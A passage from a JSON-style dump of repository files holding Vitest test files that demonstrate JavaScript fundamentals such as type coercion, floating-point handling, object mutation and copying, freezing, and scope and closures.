expect(Number.isNaN(NaN)).toBe(true)\n      expect(Number.isNaN(\"hello\")).toBe(false)\n      expect(isNaN(\"hello\")).toBe(true) // Has quirks\n    })\n\n    it('should demonstrate empty string is falsy but whitespace is truthy', () => {\n      expect(Boolean(\"\")).toBe(false)\n      expect(Boolean(\" \")).toBe(true)\n      expect(Boolean(\"0\")).toBe(true)\n    })\n\n    it('should demonstrate + operator string concatenation', () => {\n      expect(1 + 2).toBe(3)\n      expect(\"1\" + \"2\").toBe(\"12\")\n      expect(1 + \"2\").toBe(\"12\")\n      expect(\"1\" + 2).toBe(\"12\")\n      expect(1 + 2 + \"3\").toBe(\"33\")\n      expect(\"1\" + 2 + 3).toBe(\"123\")\n    })\n\n    it('should force number addition with explicit conversion', () => {\n      expect(Number(\"1\") + Number(\"2\")).toBe(3)\n      expect(parseInt(\"1\") + parseInt(\"2\")).toBe(3)\n    })\n\n    it('should force string concatenation with explicit conversion', () => {\n      expect(String(1) + String(2)).toBe(\"12\")\n      expect(`${1}${2}`).toBe(\"12\")\n    })\n  })\n\n  describe('Type Checking Best Practices', () => {\n    it('should check for null explicitly', () => {\n      let value = null\n      expect(value === null).toBe(true)\n    })\n\n    it('should use Array.isArray for arrays', () => {\n      expect(Array.isArray([1, 2, 3])).toBe(true)\n      expect(Array.isArray(\"hello\")).toBe(false)\n    })\n\n    it('should use Object.prototype.toString for precise type', () => {\n      expect(Object.prototype.toString.call(null)).toBe(\"[object Null]\")\n      expect(Object.prototype.toString.call([])).toBe(\"[object Array]\")\n      expect(Object.prototype.toString.call(new Date())).toBe(\"[object Date]\")\n    })\n  })\n\n  describe('Intl.NumberFormat for Currency', () => {\n    it('should format currency correctly with Intl.NumberFormat', () => {\n      const formatter = new Intl.NumberFormat('en-US', {\n        style: 'currency',\n        currency: 'USD',\n      })\n\n      expect(formatter.format(0.30)).toBe(\"$0.30\")\n      expect(formatter.format(19.99)).toBe(\"$19.99\")\n      expect(formatter.format(1000)).toBe(\"$1,000.00\")\n    })\n\n    it('should handle different locales', () => {\n      const euroFormatter = new Intl.NumberFormat('de-DE', {\n        style: 'currency',\n        currency: 'EUR',\n      })\n\n      // German locale uses comma for decimal and period for thousands\n      expect(euroFormatter.format(1234.56)).toContain(\"1.234,56\")\n    })\n  })\n\n  describe('Floating-Point Solutions', () => {\n    it('should use Number.EPSILON for floating-point comparison', () => {\n      const result = 0.1 + 0.2\n      const expected = 0.3\n\n      // Using epsilon comparison for floating-point\n      expect(Math.abs(result - expected) < Number.EPSILON).toBe(true)\n    })\n\n    it('should use toFixed for rounding display', () => {\n      expect((0.1 + 0.2).toFixed(2)).toBe(\"0.30\")\n      expect((0.1 + 0.2).toFixed(1)).toBe(\"0.3\")\n    })\n\n    it('should use integers (cents) for precise money calculations', () => {\n      // Instead of 0.1 + 0.2, use cents\n      const price1 = 10 // 10 cents\n      const price2 = 20 // 20 cents\n      const total = price1 + price2\n\n      expect(total).toBe(30) // Exactly 30 cents\n      expect(total / 100).toBe(0.3) // $0.30\n    })\n  })\n\n  describe('Array Holes', () => {\n    it('should return undefined for array holes', () => {\n      let arr = [1, , 3] // Sparse array with hole at index 1\n\n      expect(arr[0]).toBe(1)\n      expect(arr[1]).toBe(undefined)\n      expect(arr[2]).toBe(3)\n      expect(arr.length).toBe(3)\n    })\n\n    it('should skip holes in forEach but include in map', () => {\n      let arr = [1, , 3]\n      let forEachCount = 0\n      let mapResult\n\n      arr.forEach(() => forEachCount++)\n      mapResult = arr.map(x => x * 2)\n\n      expect(forEachCount).toBe(2) // Holes are skipped\n      expect(mapResult).toEqual([2, undefined, 6]) // Hole becomes undefined in map result\n    })\n  })\n\n  describe('String Trim for Empty/Whitespace Check', () => {\n    it('should use trim to check for empty or whitespace-only strings', () => {\n      expect(\"\".trim() === \"\").toBe(true)\n      expect(\"   \".trim() === \"\").toBe(true)\n      expect(\"\\t\\n\".trim() === \"\").toBe(true)\n      expect(\"hello\".trim() === \"\").toBe(false)\n      expect(\"  hello  \".trim() === \"\").toBe(false)\n    })\n\n    it('should use trim with length check for validation', () => {\n      function isEmptyOrWhitespace(str) {\n        return str.trim().length === 0\n      }\n\n      expect(isEmptyOrWhitespace(\"\")).toBe(true)\n      expect(isEmptyOrWhitespace(\"   \")).toBe(true)\n      expect(isEmptyOrWhitespace(\"hello\")).toBe(false)\n    })\n  })\n\n  describe('null vs undefined Patterns', () => {\n    it('should demonstrate clearing with null vs undefined', () => {\n      let user = { name: \"Alice\" }\n      \n      // Clear intentionally with null\n      user = null\n      expect(user).toBe(null)\n    })\n\n    it('should show function returning null for no result', () => {\n      function findUser(id) {\n        const users = [{ id: 1, name: \"Alice\" }]\n        return users.find(u => u.id === id) || null\n      }\n\n      expect(findUser(1)).toEqual({ id: 1, name: \"Alice\" })\n      expect(findUser(999)).toBe(null)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/fundamentals/primitives-objects/primitives-objects.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\n/**\n * Tests for Primitives vs Objects concept\n * Source: /docs/concepts/primitives-objects.mdx\n * \n * Key concepts tested:\n * - Primitives are immutable, objects are mutable\n * - Call by sharing semantics (mutation works, reassignment doesn't)\n * - Object identity vs value comparison\n * - Shallow vs deep copying\n */\n\ndescribe('Primitives and Objects', () => {\n  describe('Primitives: Immutable and Independent', () => {\n    // Source: lines 85-100 - Primitives behave independently\n    it('should create independent copies when copying primitives', () => {\n      let a = 10\n      let b = a // b gets an independent copy\n\n      b = 20 // changing b has NO effect on a\n\n      expect(a).toBe(10) // unchanged!\n      expect(b).toBe(20)\n    })\n\n    // Source: lines 101-108 - String immutability\n    it('should demonstrate string immutability - methods return new strings', () => {\n      let greeting = \"hello\"\n      let shout = greeting.toUpperCase()\n\n      expect(greeting).toBe(\"hello\") // unchanged!\n      expect(shout).toBe(\"HELLO\") // new string\n    })\n\n    it('should demonstrate primitive variables are independent', () => {\n      let name = \"Alice\"\n      let age = 25\n      let user = { name: \"Alice\" } // Object reference\n      let scores = [95, 87, 92] // Array reference\n\n      expect(name).toBe(\"Alice\")\n      expect(age).toBe(25)\n      expect(user).toEqual({ name: \"Alice\" })\n      expect(scores).toEqual([95, 87, 92])\n    })\n  })\n\n  describe('Objects: Mutable and Shared', () => {\n    it('should share reference when copying objects', () => {\n      let obj1 = { name: \"Alice\" }\n      let obj2 = obj1\n\n      obj2.name = \"Bob\"\n\n      expect(obj1.name).toBe(\"Bob\")\n      expect(obj2.name).toBe(\"Bob\")\n    })\n\n    it('should share reference when copying arrays', () => {\n      let arr1 = [1, 2, 3]\n      let arr2 = arr1\n\n      arr2.push(4)\n\n      expect(arr1).toEqual([1, 2, 3, 4])\n      expect(arr2).toEqual([1, 2, 3, 4])\n    })\n  })\n\n  describe('Call by Sharing Semantics', () => {\n    it('should allow mutation through function parameters', () => {\n      function rename(person) {\n        person.name = \"Bob\"\n      }\n\n      const user = { name: \"Alice\" }\n      rename(user)\n\n      expect(user.name).toBe(\"Bob\")\n    })\n\n    it('should NOT allow reassignment through function parameters', () => {\n      function replace(person) {\n        person = { name: \"Charlie\" }\n      }\n\n      const user = { name: \"Alice\" }\n      replace(user)\n\n      expect(user.name).toBe(\"Alice\")\n    })\n\n    it('should demonstrate call by sharing applies to primitives too', () => {\n      function double(num) {\n        num = num * 2\n        return num\n      }\n\n      let x = 10\n      let result = double(x)\n\n      expect(x).toBe(10)\n      expect(result).toBe(20)\n    })\n  })\n\n  describe('Comparison Behavior', () => {\n    describe('Primitives: Compared by Value', () => {\n      it('should return true for equal primitive values', () => {\n        let a = \"hello\"\n        let b = \"hello\"\n        expect(a === b).toBe(true)\n\n        let x = 42\n        let y = 42\n        expect(x === y).toBe(true)\n      })\n    })\n\n    describe('Objects: Compared by Reference', () => {\n      it('should return false for different objects with same content', () => {\n        let obj1 = { name: \"Alice\" }\n        let obj2 = { name: \"Alice\" }\n        expect(obj1 === obj2).toBe(false) // different objects!\n      })\n\n      it('should return true for same reference', () => {\n        let obj1 = { name: \"Alice\" }\n        let obj3 = obj1\n        expect(obj1 === obj3).toBe(true) // same reference\n      })\n\n      it('should return false for empty objects/arrays compared', () => {\n        // These tests intentionally demonstrate that objects compare by reference\n        const emptyObj1 = {}\n        const emptyObj2 = {}\n        expect(emptyObj1 === emptyObj2).toBe(false)\n        \n        const emptyArr1 = []\n        const emptyArr2 = []\n        expect(emptyArr1 === emptyArr2).toBe(false)\n        \n        const arr1 = [1, 2]\n        const arr2 = [1, 2]\n        expect(arr1 === arr2).toBe(false)\n      })\n    })\n\n    describe('Comparing Objects by Content', () => {\n      it('should use JSON.stringify for simple comparison', () => {\n        let obj1 = { name: \"Alice\" }\n        let obj2 = { name: \"Alice\" }\n        expect(JSON.stringify(obj1) === JSON.stringify(obj2)).toBe(true)\n      })\n\n      it('should compare arrays of primitives with every()', () => {\n        let arr1 = [1, 2, 3]\n        let arr2 = [1, 2, 3]\n        expect(arr1.length === arr2.length && arr1.every((v, i) => v === arr2[i])).toBe(true)\n      })\n    })\n  })\n\n  describe('Functions and Parameters', () => {\n    describe('Passing Primitives', () => {\n      it('should not modify original when passing primitive to function', () => {\n        function double(num) {\n          num = num * 2\n          return num\n        }\n\n        let x = 10\n        let result = double(x)\n\n        expect(x).toBe(10) // unchanged!\n        expect(result).toBe(20)\n      })\n    })\n\n    describe('Passing Objects', () => {\n      it('should modify original object when mutating through function parameter', () => {\n        function rename(person) {\n          person.name = \"Bob\"\n        }\n\n        let user = { name: \"Alice\" }\n        rename(user)\n\n        expect(user.name).toBe(\"Bob\") // changed!\n      })\n\n      it('should not modify original when reassigning parameter', () => {\n        function replace(person) {\n          person = { name: \"Charlie\" } // creates NEW local object\n        }\n\n        let user = { name: \"Alice\" }\n        replace(user)\n\n        expect(user.name).toBe(\"Alice\") // unchanged!\n      })\n    })\n  })\n\n  describe('Mutation vs Reassignment', () => {\n    describe('Mutation', () => {\n      it('should modify array with mutating methods', () => {\n        const arr = [1, 2, 3]\n\n        arr.push(4)\n        expect(arr).toEqual([1, 2, 3, 4])\n\n        arr[0] = 99\n        expect(arr).toEqual([99, 2, 3, 4])\n\n        arr.pop()\n        expect(arr).toEqual([99, 2, 3])\n      })\n\n      it('should modify object properties', () => {\n        const obj = { name: \"Alice\" }\n\n        obj.name = \"Bob\"\n        expect(obj.name).toBe(\"Bob\")\n\n        obj.age = 25\n        expect(obj.age).toBe(25)\n\n        delete obj.age\n        expect(obj.age).toBe(undefined)\n      })\n    })\n\n    describe('Reassignment', () => {\n      it('should point to new value after reassignment', () => {\n        let arr = [1, 2, 3]\n        arr = [4, 5, 6]\n        expect(arr).toEqual([4, 5, 6])\n\n        let obj = { name: \"Alice\" }\n        obj = { name: \"Bob\" }\n        expect(obj).toEqual({ name: \"Bob\" })\n      })\n    })\n\n    describe('const with Objects', () => {\n      it('should allow mutations on const objects', () => {\n        const arr = [1, 2, 3]\n\n        arr.push(4)\n        expect(arr).toEqual([1, 2, 3, 4])\n\n        arr[0] = 99\n        expect(arr).toEqual([99, 2, 3, 4])\n      })\n\n      it('should allow mutations on const object properties', () => {\n        const obj = { name: \"Alice\" }\n\n        obj.name = \"Bob\"\n        expect(obj.name).toBe(\"Bob\")\n\n        obj.age = 25\n        expect(obj.age).toBe(25)\n      })\n\n      it('should throw TypeError when reassigning const', () => {\n        expect(() => {\n          eval('const x = 1; x = 2') // Using eval to test const reassignment\n        }).toThrow()\n      })\n    })\n  })\n\n  describe('Object.freeze()', () => {\n    it('should throw TypeError when modifying frozen object in strict mode', () => {\n      const user = Object.freeze({ name: \"Alice\", age: 25 })\n\n      // In strict mode (which Vitest uses), modifications throw TypeError\n      expect(() => { user.name = \"Bob\" }).toThrow(TypeError)\n      expect(() => { user.email = \"a@b.com\" }).toThrow(TypeError)\n      expect(() => { delete user.age }).toThrow(TypeError)\n\n      expect(user).toEqual({ name: \"Alice\", age: 25 }) // unchanged!\n    })\n\n    it('should check if object is frozen', () => {\n      const frozen = Object.freeze({ a: 1 })\n      const normal = { a: 1 }\n\n      expect(Object.isFrozen(frozen)).toBe(true)\n      expect(Object.isFrozen(normal)).toBe(false)\n    })\n\n    it('should only freeze shallow - nested objects can still be modified', () => {\n      const user = Object.freeze({\n        name: \"Alice\",\n        address: { city: \"NYC\" }\n      })\n\n      // In strict mode, modifying frozen property throws TypeError\n      expect(() => { user.name = \"Bob\" }).toThrow(TypeError)\n      // But nested object is not frozen, so this works\n      user.address.city = \"LA\"\n\n      expect(user.name).toBe(\"Alice\") // unchanged\n      expect(user.address.city).toBe(\"LA\") // changed!\n    })\n  })\n\n  describe('Deep Freeze', () => {\n    it('should freeze nested objects with deep freeze function', () => {\n      function deepFreeze(obj, seen = new WeakSet()) {\n        // Prevent infinite loops from circular references\n        if (seen.has(obj)) return obj\n        seen.add(obj)\n        \n        const propNames = Reflect.ownKeys(obj)\n        \n        for (const name of propNames) {\n          const value = obj[name]\n          if (value && typeof value === \"object\") {\n            deepFreeze(value, seen)\n          }\n        }\n        \n        return Object.freeze(obj)\n      }\n\n      const user = deepFreeze({\n        name: \"Alice\",\n        address: { city: \"NYC\" }\n      })\n\n      // In strict mode, this throws TypeError since nested object is now frozen\n      expect(() => { user.address.city = \"LA\" }).toThrow(TypeError)\n      expect(user.address.city).toBe(\"NYC\") // Now blocked!\n    })\n\n    it('should handle circular references without infinite loop', () => {\n      function deepFreeze(obj, seen = new WeakSet()) {\n        if (seen.has(obj)) return obj\n        seen.add(obj)\n        \n        const propNames = Reflect.ownKeys(obj)\n        \n        for (const name of propNames) {\n          const value = obj[name]\n          if (value && typeof value === \"object\") {\n            deepFreeze(value, seen)\n          }\n        }\n        \n        return Object.freeze(obj)\n      }\n\n      // Create object with circular reference\n      const obj = { name: \"test\" }\n      obj.self = obj  // Circular reference\n\n      // Should not throw or hang - handles circular reference\n      const frozen = deepFreeze(obj)\n      \n      expect(Object.isFrozen(frozen)).toBe(true)\n      expect(frozen.self).toBe(frozen) // Circular reference preserved\n      expect(() => { frozen.name = \"changed\" }).toThrow(TypeError)\n    })\n  })\n\n  describe('Object.seal() and Object.preventExtensions()', () => {\n    it('should allow value changes but prevent add/delete with seal()', () => {\n      const sealed = Object.seal({ name: \"Alice\" })\n      \n      sealed.name = \"Bob\"\n      expect(sealed.name).toBe(\"Bob\") // Works!\n      \n      // In strict mode, these throw TypeError instead of failing silently\n      expect(() => { sealed.age = 25 }).toThrow(TypeError)\n      expect(sealed.age).toBe(undefined)\n      \n      expect(() => { delete sealed.name }).toThrow(TypeError)\n      expect(sealed.name).toBe(\"Bob\")\n    })\n\n    it('should allow change/delete but prevent add with preventExtensions()', () => {\n      const noExtend = Object.preventExtensions({ name: \"Alice\" })\n      \n      noExtend.name = \"Bob\"\n      expect(noExtend.name).toBe(\"Bob\") // Works!\n      \n      delete noExtend.name\n      expect(noExtend.name).toBe(undefined) // Works!\n      \n      // In strict mode, adding properties throws TypeError\n      expect(() => { noExtend.age = 25 }).toThrow(TypeError)\n      expect(noExtend.age).toBe(undefined)\n    })\n  })\n\n  describe('Shallow Copy', () => {\n    it('should create shallow copy with spread operator', () => {\n      const original = { \n        name: \"Alice\",\n        scores: [95, 87, 92],\n        address: { city: \"NYC\" }\n      }\n\n      const copy1 = { ...original }\n\n      expect(copy1.name).toBe(\"Alice\")\n      expect(copy1).not.toBe(original) // Different objects\n    })\n\n    it('should create shallow copy with Object.assign', () => {\n      const original = { name: \"Alice\" }\n      const copy2 = Object.assign({}, original)\n\n      expect(copy2.name).toBe(\"Alice\")\n      expect(copy2).not.toBe(original)\n    })\n\n    it('should share nested objects in shallow copy', () => {\n      const original = { \n        name: \"Alice\",\n        address: { city: \"NYC\" }\n      }\n\n      const shallow = { ...original }\n\n      // Top-level changes are independent\n      shallow.name = \"Bob\"\n      expect(original.name).toBe(\"Alice\")\n\n      // But nested objects are SHARED\n      shallow.address.city = \"LA\"\n      expect(original.address.city).toBe(\"LA\") // Original changed!\n    })\n\n    it('should create shallow copy of arrays', () => {\n      const originalArray = [1, 2, 3]\n      \n      const arrCopy1 = [...originalArray]\n      const arrCopy2 = originalArray.slice()\n      const arrCopy3 = Array.from(originalArray)\n\n      expect(arrCopy1).toEqual([1, 2, 3])\n      expect(arrCopy2).toEqual([1, 2, 3])\n      expect(arrCopy3).toEqual([1, 2, 3])\n      \n      expect(arrCopy1).not.toBe(originalArray)\n      expect(arrCopy2).not.toBe(originalArray)\n      expect(arrCopy3).not.toBe(originalArray)\n    })\n  })\n\n  describe('Deep Copy', () => {\n    it('should create deep copy with structuredClone', () => {\n      const original = { \n        name: \"Alice\",\n        scores: [95, 87, 92],\n        address: { city: \"NYC\" },\n        date: new Date()\n      }\n\n      const deep = structuredClone(original)\n\n      // Everything is independent\n      deep.address.city = \"LA\"\n      expect(original.address.city).toBe(\"NYC\") // unchanged!\n\n      deep.scores.push(100)\n      expect(original.scores).toEqual([95, 87, 92]) // unchanged!\n    })\n\n    it('should create deep copy with JSON trick (with limitations)', () => {\n      const original = { \n        name: \"Alice\",\n        address: { city: \"NYC\" }\n      }\n\n      const deep = JSON.parse(JSON.stringify(original))\n\n      deep.address.city = \"LA\"\n      expect(original.address.city).toBe(\"NYC\") // unchanged!\n    })\n\n    it('should demonstrate JSON trick limitations', () => {\n      const obj = {\n        fn: () => {},\n        date: new Date('2025-01-01'),\n        undef: undefined,\n        set: new Set([1, 2])\n      }\n\n      const clone = JSON.parse(JSON.stringify(obj))\n\n      expect(clone.fn).toBe(undefined) // Functions lost\n      expect(typeof clone.date).toBe('string') // Date becomes string\n      expect(clone.undef).toBe(undefined) // Property removed\n      expect(clone.set).toEqual({}) // Set becomes empty object\n    })\n  })\n\n  describe('Array Methods: Mutating vs Non-Mutating', () => {\n    describe('Mutating Methods', () => {\n      it('should mutate array with push, pop, shift, unshift', () => {\n        const arr = [1, 2, 3]\n        \n        arr.push(4)\n        expect(arr).toEqual([1, 2, 3, 4])\n        \n        arr.pop()\n        expect(arr).toEqual([1, 2, 3])\n        \n        arr.shift()\n        expect(arr).toEqual([2, 3])\n        \n        arr.unshift(1)\n        expect(arr).toEqual([1, 2, 3])\n      })\n\n      it('should mutate array with sort and reverse', () => {\n        const nums = [3, 1, 2]\n        nums.sort()\n        expect(nums).toEqual([1, 2, 3]) // Original mutated!\n        \n        nums.reverse()\n        expect(nums).toEqual([3, 2, 1]) // Original mutated!\n      })\n\n      it('should mutate array with splice', () => {\n        const arr = [1, 2, 3, 4, 5]\n        arr.splice(2, 1) // Remove 1 element at index 2\n        expect(arr).toEqual([1, 2, 4, 5])\n      })\n    })\n\n    describe('Non-Mutating Methods', () => {\n      it('should not mutate with map, filter, slice, concat', () => {\n        const original = [1, 2, 3]\n        \n        const mapped = original.map(x => x * 2)\n        expect(original).toEqual([1, 2, 3])\n        expect(mapped).toEqual([2, 4, 6])\n        \n        const filtered = original.filter(x => x > 1)\n        expect(original).toEqual([1, 2, 3])\n        expect(filtered).toEqual([2, 3])\n        \n        const sliced = original.slice(1)\n        expect(original).toEqual([1, 2, 3])\n        expect(sliced).toEqual([2, 3])\n        \n        const concatenated = original.concat([4, 5])\n        expect(original).toEqual([1, 2, 3])\n        expect(concatenated).toEqual([1, 2, 3, 4, 5])\n      })\n\n      it('should use toSorted and toReversed for non-mutating sort/reverse (ES2023)', () => {\n        const nums = [3, 1, 2]\n        \n        const sorted = nums.toSorted()\n        expect(nums).toEqual([3, 1, 2]) // Original unchanged\n        expect(sorted).toEqual([1, 2, 3])\n        \n        const reversed = nums.toReversed()\n        expect(nums).toEqual([3, 1, 2]) // Original unchanged\n        expect(reversed).toEqual([2, 1, 3])\n      })\n    })\n\n    describe('Safe Sorting Pattern', () => {\n      it('should copy array before sorting to avoid mutation', () => {\n        const nums = [3, 1, 2]\n        const sorted = [...nums].sort()\n        \n        expect(nums).toEqual([3, 1, 2]) // Original unchanged\n        expect(sorted).toEqual([1, 2, 3])\n      })\n    })\n  })\n\n  describe('Common Pitfalls', () => {\n    it('should demonstrate accidental array mutation in function', () => {\n      function processUsers(users) {\n        const copy = [...users]\n        copy.push({ name: \"New User\" })\n        return copy\n      }\n\n      const myUsers = [{ name: \"Alice\" }]\n      const result = processUsers(myUsers)\n      \n      expect(myUsers).toEqual([{ name: \"Alice\" }]) // Original unchanged\n      expect(result).toEqual([{ name: \"Alice\" }, { name: \"New User\" }])\n    })\n\n    it('should demonstrate backup pattern failure', () => {\n      const original = [1, 2, 3]\n      const notABackup = original // NOT a backup!\n\n      original.push(4)\n      expect(notABackup).toEqual([1, 2, 3, 4]) // \"backup\" changed!\n\n      // Correct backup\n      const original2 = [1, 2, 3]\n      const backup = [...original2]\n      \n      original2.push(4)\n      expect(backup).toEqual([1, 2, 3]) // Real backup unchanged\n    })\n\n    it('should demonstrate deep equality comparison', () => {\n      function deepEqual(a, b) {\n        return JSON.stringify(a) === JSON.stringify(b)\n      }\n\n      const obj1 = { name: \"Alice\", age: 25 }\n      const obj2 = { name: \"Alice\", age: 25 }\n      \n      expect(obj1 === obj2).toBe(false)\n      expect(deepEqual(obj1, obj2)).toBe(true)\n    })\n  })\n\n  describe('Best Practices: Immutable Patterns', () => {\n    it('should create new object instead of mutating', () => {\n      const user = { name: \"Alice\", age: 25 }\n      \n      // Instead of: user.name = \"Bob\"\n      const updatedUser = { ...user, name: \"Bob\" }\n      \n      expect(user.name).toBe(\"Alice\") // Original unchanged\n      expect(updatedUser.name).toBe(\"Bob\")\n    })\n\n    it('should use non-mutating array methods', () => {\n      const numbers = [3, 1, 2]\n      \n      // Instead of: numbers.sort()\n      const sorted = [...numbers].sort((a, b) => a - b)\n      \n      expect(numbers).toEqual([3, 1, 2]) // Original unchanged\n      expect(sorted).toEqual([1, 2, 3])\n    })\n  })\n\n  describe('structuredClone with Special Types', () => {\n    it('should deep clone objects with Map', () => {\n      const original = {\n        name: \"Alice\",\n        data: new Map([[\"key1\", \"value1\"], [\"key2\", \"value2\"]])\n      }\n\n      const clone = structuredClone(original)\n      \n      // Modify the clone's Map\n      clone.data.set(\"key1\", \"modified\")\n      clone.data.set(\"key3\", \"new value\")\n\n      // Original should be unchanged\n      expect(original.data.get(\"key1\")).toBe(\"value1\")\n      expect(original.data.has(\"key3\")).toBe(false)\n      expect(clone.data.get(\"key1\")).toBe(\"modified\")\n    })\n\n    it('should deep clone objects with Set', () => {\n      const original = {\n        name: \"Alice\",\n        tags: new Set([1, 2, 3])\n      }\n\n      const clone = structuredClone(original)\n      \n      // Modify the clone's Set\n      clone.tags.add(4)\n      clone.tags.delete(1)\n\n      // Original should be unchanged\n      expect(original.tags.has(1)).toBe(true)\n      expect(original.tags.has(4)).toBe(false)\n      expect(clone.tags.has(1)).toBe(false)\n      expect(clone.tags.has(4)).toBe(true)\n    })\n\n    it('should deep clone objects with Date', () => {\n      const original = {\n        name: \"Event\",\n        date: new Date(\"2025-01-01\")\n      }\n\n      const clone = structuredClone(original)\n      \n      expect(clone.date instanceof Date).toBe(true)\n      expect(clone.date.getTime()).toBe(original.date.getTime())\n      expect(clone.date).not.toBe(original.date) // Different reference\n    })\n  })\n\n  describe('Shared Default Object Reference Pitfall', () => {\n    it('should demonstrate shared default array problem', () => {\n      const defaultList = []\n      \n      function addItem(item, list = defaultList) {\n        list.push(item)\n        return list\n      }\n\n      const result1 = addItem(\"a\")\n      const result2 = addItem(\"b\")\n\n      // Both calls modified the same defaultList!\n      expect(result1).toEqual([\"a\", \"b\"])\n      expect(result2).toEqual([\"a\", \"b\"])\n      expect(result1).toBe(result2) // Same reference!\n    })\n\n    it('should fix shared default with new array creation', () => {\n      function addItem(item, list = []) {\n        list.push(item)\n        return list\n      }\n\n      const result1 = addItem(\"a\")\n      const result2 = addItem(\"b\")\n\n      // Each call gets its own array\n      expect(result1).toEqual([\"a\"])\n      expect(result2).toEqual([\"b\"])\n      expect(result1).not.toBe(result2)\n    })\n  })\n\n  describe('WeakMap vs Map Memory Behavior', () => {\n    it('should demonstrate Map holds strong references', () => {\n      const cache = new Map()\n      let user = { id: 1, name: \"Alice\" }\n      \n      cache.set(user.id, user)\n      \n      // Even if we clear user, the Map still holds the reference\n      const cachedUser = cache.get(1)\n      expect(cachedUser.name).toBe(\"Alice\")\n    })\n\n    it('should demonstrate WeakMap allows garbage collection', () => {\n      const cache = new WeakMap()\n      let user = { id: 1, name: \"Alice\" }\n      \n      cache.set(user, { computed: \"expensive data\" })\n      \n      // WeakMap uses the object itself as key\n      expect(cache.get(user)).toEqual({ computed: \"expensive data\" })\n      \n      // WeakMap keys must be objects\n      expect(() => cache.set(\"string-key\", \"value\")).toThrow(TypeError)\n    })\n\n    it('should show WeakMap cannot be iterated', () => {\n      const weakMap = new WeakMap()\n      const obj = { id: 1 }\n      weakMap.set(obj, \"value\")\n\n      // WeakMap has no size property\n      expect(weakMap.size).toBe(undefined)\n      \n      // WeakMap is not iterable\n      expect(typeof weakMap[Symbol.iterator]).toBe(\"undefined\")\n    })\n  })\n\n  describe('Clone Function Parameters Pattern', () => {\n    it('should clone parameters before modification', () => {\n      function processData(data) {\n        // Clone to avoid modifying original\n        const copy = structuredClone(data)\n        copy.processed = true\n        copy.items.push(\"new item\")\n        return copy\n      }\n\n      const original = { \n        name: \"data\", \n        items: [\"item1\", \"item2\"] \n      }\n      \n      const result = processData(original)\n\n      // Original is unchanged\n      expect(original.processed).toBe(undefined)\n      expect(original.items).toEqual([\"item1\", \"item2\"])\n      \n      // Result has modifications\n      expect(result.processed).toBe(true)\n      expect(result.items).toEqual([\"item1\", \"item2\", \"new item\"])\n    })\n  })\n\n  describe('let with Object.freeze()', () => {\n    it('should allow reassignment of let variable holding frozen object', () => {\n      let obj = Object.freeze({ a: 1 })\n      \n      // Cannot modify the frozen object\n      expect(() => { obj.a = 2 }).toThrow(TypeError)\n      \n      // But CAN reassign the variable to a new object\n      obj = { a: 2 }\n      expect(obj.a).toBe(2)\n    })\n\n    it('should demonstrate const + freeze for true immutability', () => {\n      const obj = Object.freeze({ a: 1 })\n      \n      // Cannot modify the frozen object\n      expect(() => { obj.a = 2 }).toThrow(TypeError)\n      \n      // Cannot reassign const\n      // obj = { a: 2 } // Would throw TypeError\n      expect(obj.a).toBe(1)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/fundamentals/scope-and-closures/scope-and-closures.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Scope and Closures', () => {\n  describe('Scope Basics', () => {\n    describe('Preventing Naming Conflicts', () => {\n      it('should keep variables separate in different functions', () => {\n        function countApples() {\n          let count = 0\n          count++\n          return count\n        }\n\n        function countOranges() {\n          let count = 0\n          count++\n          return count\n        }\n\n        expect(countApples()).toBe(1)\n        expect(countOranges()).toBe(1)\n      })\n    })\n\n    describe('Memory Management', () => {\n      it('should demonstrate scope cleanup concept', () => {\n        function processData() {\n          let hugeArray = new Array(1000).fill('x')\n          return hugeArray.length\n        }\n        \n        // hugeArray can be garbage collected after function returns\n        expect(processData()).toBe(1000)\n      })\n    })\n\n    describe('Encapsulation', () => {\n      it('should hide implementation details', () => {\n        function createBankAccount() {\n          let balance = 0\n          \n          return {\n            deposit(amount) { balance += amount },\n            getBalance() { return balance }\n          }\n        }\n\n        const account = createBankAccount()\n        account.deposit(100)\n        expect(account.getBalance()).toBe(100)\n        // balance is private - cannot access directly\n      })\n    })\n  })\n\n  describe('The Three Types of Scope', () => {\n    describe('Global Scope', () => {\n      it('should access global variables from anywhere', () => {\n        const appName = \"MyApp\"\n        let userCount = 0\n\n        function greet() {\n          userCount++\n          return appName\n        }\n\n        expect(greet()).toBe(\"MyApp\")\n        expect(userCount).toBe(1)\n      })\n    })\n\n    describe('Function Scope', () => {\n      it('should keep var variables within function', () => {\n        function calculateTotal() {\n          var subtotal = 100\n          var tax = 10\n          var total = subtotal + tax\n          return total\n        }\n\n        expect(calculateTotal()).toBe(110)\n        // subtotal, tax, total are not accessible here\n      })\n\n      describe('var Hoisting', () => {\n        it('should demonstrate var hoisting behavior', () => {\n          function example() {\n            const first = message // undefined (not an error!)\n            var message = \"Hello\"\n            const second = message // \"Hello\"\n            return { first, second }\n          }\n\n          const result = example()\n          expect(result.first).toBe(undefined)\n          expect(result.second).toBe(\"Hello\")\n        })\n      })\n    })\n\n    describe('Block Scope', () => {\n      it('should keep let and const within blocks', () => {\n        let outsideBlock = \"outside\"\n        \n        if (true) {\n          let blockLet = \"I'm block-scoped\"\n          const blockConst = \"Me too\"\n          var functionVar = \"I escape the block!\"\n          outsideBlock = blockLet // Can access from inside\n        }\n\n        expect(functionVar).toBe(\"I escape the block!\")\n        expect(outsideBlock).toBe(\"I'm block-scoped\")\n        // blockLet and blockConst are not accessible here\n      })\n\n      describe('Temporal Dead Zone', () => {\n        it('should throw ReferenceError when accessing let before declaration', () => {\n          function demo() {\n            // TDZ for 'name' starts here\n            const getName = () => name // This creates closure over TDZ variable\n            \n            let name = \"Alice\" // TDZ ends here\n            return name\n          }\n\n          expect(demo()).toBe(\"Alice\")\n        })\n\n        it('should demonstrate proper let declaration', () => {\n          function demo() {\n            let name = \"Alice\"\n            return name\n          }\n\n          expect(demo()).toBe(\"Alice\")\n        })\n      })\n    })\n  })\n\n  describe('var vs let vs const', () => {\n    describe('Redeclaration', () => {\n      it('should allow var redeclaration', () => {\n        var name = \"Alice\"\n        var name = \"Bob\" // No error, silently overwrites\n        expect(name).toBe(\"Bob\")\n      })\n\n      // Note: let and const redeclaration would cause SyntaxError\n      // which cannot be tested at runtime\n    })\n\n    describe('Reassignment', () => {\n      it('should allow var and let reassignment', () => {\n        var count = 1\n        count = 2\n        expect(count).toBe(2)\n\n        let score = 100\n        score = 200\n        expect(score).toBe(200)\n      })\n\n      it('should allow const object mutation but 